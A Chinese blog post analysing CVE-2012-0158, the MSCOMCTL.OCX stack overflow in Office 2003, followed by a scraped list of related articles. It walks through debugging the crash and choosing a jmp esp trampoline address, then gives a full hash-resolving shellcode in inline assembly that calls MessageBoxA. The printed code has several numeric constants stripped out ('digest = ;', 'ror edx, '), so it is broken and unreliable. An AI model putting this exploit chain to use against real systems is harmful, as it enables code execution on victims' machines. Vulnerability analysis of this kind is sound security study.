4 CVE-2012-0158 漏洞分析
操作系统:Windows7 32位 专业版
Office:2003sp3_20120218.exe
工具:OD和IDA
1.漏洞的本质:程序编写时未对内存拷贝函数的长度参数进行足够严谨的验证,造成的堆栈缓冲区溢出。
2漏洞分析:
1.获取poc:
网络下载
2.漏洞复现
安装office2003 sp3
直接运行poc样本,观察程序的运行状态,通过Windows反馈信息可知,此漏洞是典型的栈溢出型漏洞。
使用OD进行附加:
因为栈的结构如下图,所以通过对poc栈分析,下部的栈已经被破坏,上部的栈是程序出现问题的运势状态。
向上栈回述找到如下地址:
重新进行附加,对此函数进行分析,定位漏洞产生的位置:
在此时函数所在的模块,通过OD快捷键:Alt+E查找对应模块
将MSCOMCTL.OCX加载进IDA,对call MSCOMCTL.275C876D漏洞产生函数分析:
由上可知此漏洞的产生,是因为对栈检测时没有设定上限导致的,所以漏洞的修补就是对是否进行内存拷贝的判断时,小于判断即可
通过对OD动态调试:
通过对poc进行010分析,因为poc是需要对漏洞进行利用,而275C876D是漏洞产生的函数,静态分析可知,第三个参数是申请的内存空间的大小,根据ShellCode的编写需要内存空间进行存储,所以,直接在poc的010中搜索8282,即可定位到自定义缓冲区位置
3漏洞利用:
Shellcode:
1. 在运行的程序中寻找跳板指令地址:
Jmp esp
使用 ImmunityDebugger+mona.py
!mona modules
因为此模块位系统模块且各种保护位false
选择可读可执行的 jmp esp 地址:0x729a0535
2. 编写通用ShellCode的思路:
以简单的MessageBox为例:
1.获取Kernel32.dll 基地址
2.获取GetProcAddress 函数地址
3.获取LoadLibraryExA 函数地址
4.调用LoadLibraryExA 获取user32.dll基地址
5.调用GetProcAddress 获取MessageBoxA 函数地址
6.传参调用MessageBoxA
7.调用GetProcAddress,获取ExitProcess函数地址
8.传参调用ExitProcess
为缩短ShellCode的通过获取API Hash值进行匹对完成
/* 通过对APIHASH值的匹对行进获取 */
DWORD GetHash(char *fun_name)
{
DWORD digest = ;
while (*fun_name)
{
digest = ((digest << ) | (digest >> )); // 实现了digest的循环右移7位(或循环左移25位)
digest += *fun_name;
fun_name++;
}
return digest;
}
int main()
{
_asm
{
// 将所要使用的函数的hash值入栈
cld // 清空标志位DF
push 0x1e380a6a // MessageBoxA的Hash值
push 0x4fd18963 // ExitProcess的Hash值
push 0x0c917432 // LoadLibraryA的Hash值
mov esi, esp // 令esi指向栈顶位置,此时指向堆栈中存放的LoadLibrary
lea edi, [esi - 0xc]// 后面利用edi的值来调用不同的函数 // 开辟栈空间
xor ebx, ebx // ebx置0
mov bh, 0x04 // 此时ebx为0x400
sub esp, ebx // 开辟0x400大小的空间 // 压入“user32.dll”
mov bx, 0x3233 // 0x3和0x2 倒叙存储
push ebx // 入栈
push 0x72657375 // “user”入栈
push esp
xor edx, edx // edx置0 // 查找kernel32.dll的基地址
mov ebx, fs:[edx + 0x30] // [TEB+0x30]是PEB的位置
mov ecx, [ebx + 0xc] // [PEB+0xc]是PEB_LDR_DATA的位置
mov ecx, [ecx + 0x1c] // [PEB_LDR_DATA+0x1c]是InInitializationOrderModuleList
mov ecx, [ecx] // 进入链表第一个就是ntdll.dll
mov ebp, [ecx + 0x8] // ebp保存的是Kernel32.dll的基地址 find_lib_function :
lodsd
cmp eax, 0x1e380a6a // 与MessageBoxA的Hash值进行比较
jne find_functions // 如果不相等,继续查找
xchg eax, ebp
call[edi - 0x8]
xchg eax, ebp // 在PE文件中查找相应的API函数
find_functions :
pushad // 保护所有寄存器中的内容
mov eax, [ebp + 0x30] // PE头
mov ecx, [ebp + eax + 0x78]// 导出表的指针
add ecx, ebp
mov ebx, [ecx + 0x20] // 导出函数的名字列表
add ebx, ebp
xor edi, edi // edi置0 // 循环读取导出表函数
next_function_loop :
inc edi // edi不断自增,作为索引
mov esi, [ebx + edi*] // 从列表数组中读取
add esi, ebp // esi保存的是函数名所在的地址
cdq // 把edx的每一个位置成eax的最高位,再把edx扩展位eax的高位,变成64位 // hash值的计算
hash_loop :
movsx eax, byte ptr[esi] // 每次取出一个字符放入eax中
cmp al, ah // 验证eax是否为0x0,即结束符
jz compare_hash // 如果上述结果为0,说明hash值计算完毕进行hash比对
ror edx, // 如果cmp的结果不为0,则进行循环右移7为的操作
add edx, eax // 将循环右移的值不断累加
inc esi // esi自增,用于读取下一个字符
jmp hash_loop // 跳转到hash_loop的位置继续计算 // hash值的比较
compare_hash :
cmp edx, [esp + 0x1c] // 与LoadLibraryA的hash值进行比较
jnz next_function_loop // 如果比较不成功,继续寻找导出表的下一个函数
mov ebx, [ecx + 0x24]
add ebx, ebp
mov di, [ebx + * edi]
mov ebx, [ecx + 0x1c]
add ebx, ebp
add ebp, [ebx + * edi]
xchg eax, ebp
pop edi
push edi
popad // 还原所有寄存器内容
cmp eax, 0x1e380a6a // 与MessageBoxA的Hash值进行比较 // 主函数内容,用于显示对话框
function_call:
xor ebx, ebx
sub esp, 0x50
xor ebx, ebx
push ebx // cut string
push 0x48656c6c // push "hell"
mov eax, esp
push ebx // cut string
push 0x576f726c // push "worl"
mov ecx, esp push ebx
push eax
push ecx
push ebx
mov eax, 0x77d507ea
call eax // call MessageBox
push ebx
mov eax, 0x7c81cafa
call eax // call ExitProcess
}
return ;
}
4总结:
1. 栈数据被当成代码执行
2. 想要通用的shellcode就需要动态获取kernel32.dll,解析kernel32.dll的导出表获取API
3. 漏洞的利用:覆盖函数返回地址,jmp esp跳转
4. 从编程角度理解思考漏洞的成因并防范
4 CVE-2012-0158 漏洞分析的更多相关文章
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
- 看个AV也中招之cve-2010-2553漏洞分析
试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- CVE-2014-1767 漏洞分析(2015.1)
CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...
- FFmpeg任意文件读取漏洞分析
这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)
不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...
- ThinkCMF X2.2.2多处SQL注入漏洞分析
1. 漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...
- CVE-2010-3971 CSS内存破坏漏洞分析
看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...
随机推荐
- SRDC - ORA-1552: Checklist of Evidence to Supply (Doc ID 1681333.1)
SRDC - ORA-1552: Checklist of Evidence to Supply (Doc ID 1681333.1) Action Plan 1. Execute srdc_db_u ...
- 渗透测试学习 十八、 XSS跨站脚本漏洞详解 续
XSS平台搭建 ISS+zkeysphp 首先在IIS中新建一个网站,详细过程可以看我之前写搭环境的文章 (下面的写入选项不需要选中) 安装ZKEYS PHP 修改数据库配置 用户名:root 密码: ...
- Python xlwt模块写Excel问题集合
1.数字转换成汉字 数据库查询返回结果为多元组,在写入Excel需要判断,数据库查询结果是否为数字,为数字的话需要将其转换成对应的汉字,此时元组不可修改,所以需要将返回结果修改成列表.实现可以在数据库 ...
- Cooperation、Collaboration与Coordination的区别
Cooperation.Collaboration与Coordination的区别 作者:凯鲁嘎吉 - 博客园 http://www.cnblogs.com/kailugaji/ 1. Coopera ...
- Html学习之四(页面布局)
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...
- python 绘制词云图
1. 先下载并安装nltk包,准备一张简单的图片存入代码所在文件目录,搜集英文停用词表 import nltk nltk.download() 2. 绘制词云图 import re import nu ...
- Vue 使用comouted计算属性
computed计算属性 使用方法见代码: <!doctype html> <html lang="en"> <head> <meta c ...
- [[: not found,Ubuntu修改默认sh为bash
写好的shell sh执行脚本报错[[: not found,改shell多麻烦,索性直接把电脑默认的dash改成使用bash 1.查看目前使用 Ubuntu版本默认sh都是使用的dash 执行 ls ...
- 【SpringCloud之pigx框架学习之路 】1.基础环境安装
[SpringCloud之pigx框架学习之路 ]1.基础环境安装 [SpringCloud之pigx框架学习之路 ]2.部署环境 1.Cmder.exe安装 (1) windows常用命令行工具 下 ...
- 针对.NET Core, Xamarin以及.NET的自动类型安全Rest库: Refit
本文大部分内容是针对Refit官网的翻译. 官网地址: https://github.com/reactiveui/refit Refit是一个类似于Retrofit的Restful Api库,使用它 ...